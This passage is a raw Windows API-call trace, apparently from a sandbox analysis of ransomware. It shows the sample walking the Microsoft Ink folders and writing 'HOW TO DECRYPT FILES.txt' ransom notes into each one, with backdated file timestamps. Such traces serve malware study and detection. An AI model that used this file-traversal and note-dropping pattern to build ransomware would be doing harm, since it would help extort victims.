nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.299] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.299] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.299] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0076.299] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.299] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Ink.dll") returned -1 [0076.299] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Ink.dll") returned -1 [0076.299] lstrcmpiA (lpString1="", lpString2="Microsoft.Ink.dll") returned -1 [0076.300] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*.*") returned="*.*" [0076.300] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\" [0076.300] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\") returned="" [0076.300] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\HOW TO DECRYPT FILES.txt" [0076.300] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.0\\how to decrypt files.txt")) returned 0xffffffff [0076.300] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.302] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.302] CloseHandle (hObject=0x90) returned 1 [0076.302] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\", lpString2="Microsoft.Ink.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\Microsoft.Ink.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\Microsoft.Ink.dll" [0076.303] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7818f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7818f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7818f1c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 0 [0076.303] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.303] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1.7", cAlternateFileName="")) returned 1 [0076.303] lstrcmpA (lpString1=".", lpString2="1.7") returned -1 [0076.303] lstrcmpA (lpString1="..", lpString2="1.7") returned -1 [0076.303] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*.*") returned="*.*" [0076.303] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="1.7" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7" [0076.303] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.304] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.304] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.304] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.304] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.304] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0076.304] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.304] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Ink.dll") returned -1 [0076.304] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Ink.dll") returned -1 [0076.304] lstrcmpiA (lpString1="", lpString2="Microsoft.Ink.dll") returned -1 [0076.304] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*.*") returned="*.*" [0076.304] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\" [0076.304] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\") returned="" [0076.304] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\HOW TO DECRYPT FILES.txt" [0076.304] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.7\\how to decrypt files.txt")) returned 0xffffffff [0076.304] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.306] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.306] CloseHandle (hObject=0x90) returned 1 [0076.306] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\", lpString2="Microsoft.Ink.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\Microsoft.Ink.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\Microsoft.Ink.dll" [0076.307] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ecacfc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xc7ecacfc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xc7ef0e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 0 [0076.307] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.307] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="en-US", cAlternateFileName="")) returned 1 [0076.307] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0076.307] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0076.307] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*.*") returned="*.*" [0076.307] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="en-US" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US" [0076.307] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.309] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.309] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.310] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.310] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.310] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0076.310] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.310] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InkObj.dll.mui") returned -1 [0076.310] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InkObj.dll.mui") returned -1 [0076.310] lstrcmpiA (lpString1="", lpString2="InkObj.dll.mui") returned -1 [0076.310] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*.*") returned="*.*" [0076.310] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" [0076.310] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="" [0076.310] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0076.310] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0076.310] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.312] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.312] CloseHandle (hObject=0x90) returned 1 [0076.312] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="InkObj.dll.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" [0076.313] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0076.313] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.313] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="micaut.dll.mui") returned -1 [0076.313] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="micaut.dll.mui") returned -1 [0076.313] lstrcmpiA (lpString1="", lpString2="micaut.dll.mui") returned -1 [0076.313] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned="InkObj.dll.mui" [0076.313] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" [0076.313] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="" [0076.313] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0076.313] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0076.313] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="micaut.dll.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" [0076.313] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1101e045, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x780074, dwReserved1=0x74, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0076.313] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.313] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mip.exe.mui") returned -1 [0076.313] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mip.exe.mui") returned -1 [0076.313] lstrcmpiA (lpString1="", lpString2="mip.exe.mui") returned -1 [0076.313] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned="micaut.dll.mui" [0076.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" [0076.314] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="" [0076.314] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0076.314] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0076.314] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="mip.exe.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" [0076.314] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0076.314] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.314] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mshwLatin.dll.mui") returned -1 [0076.314] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mshwLatin.dll.mui") returned -1 [0076.314] lstrcmpiA (lpString1="", lpString2="mshwLatin.dll.mui") returned -1 [0076.314] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned="mip.exe.mui" [0076.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" [0076.314] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="" [0076.314] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0076.314] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0076.314] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="mshwLatin.dll.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" [0076.314] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0076.315] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.315] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtscom.dll.mui") returned -1 [0076.315] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtscom.dll.mui") returned -1 [0076.315] lstrcmpiA (lpString1="", lpString2="rtscom.dll.mui") returned -1 [0076.315] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned="mshwLatin.dll.mui" [0076.315] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" [0076.315] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\") returned="" [0076.315] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" [0076.315] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\how to decrypt files.txt")) returned 0x20 [0076.315] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\", lpString2="rtscom.dll.mui" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" [0076.315] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, 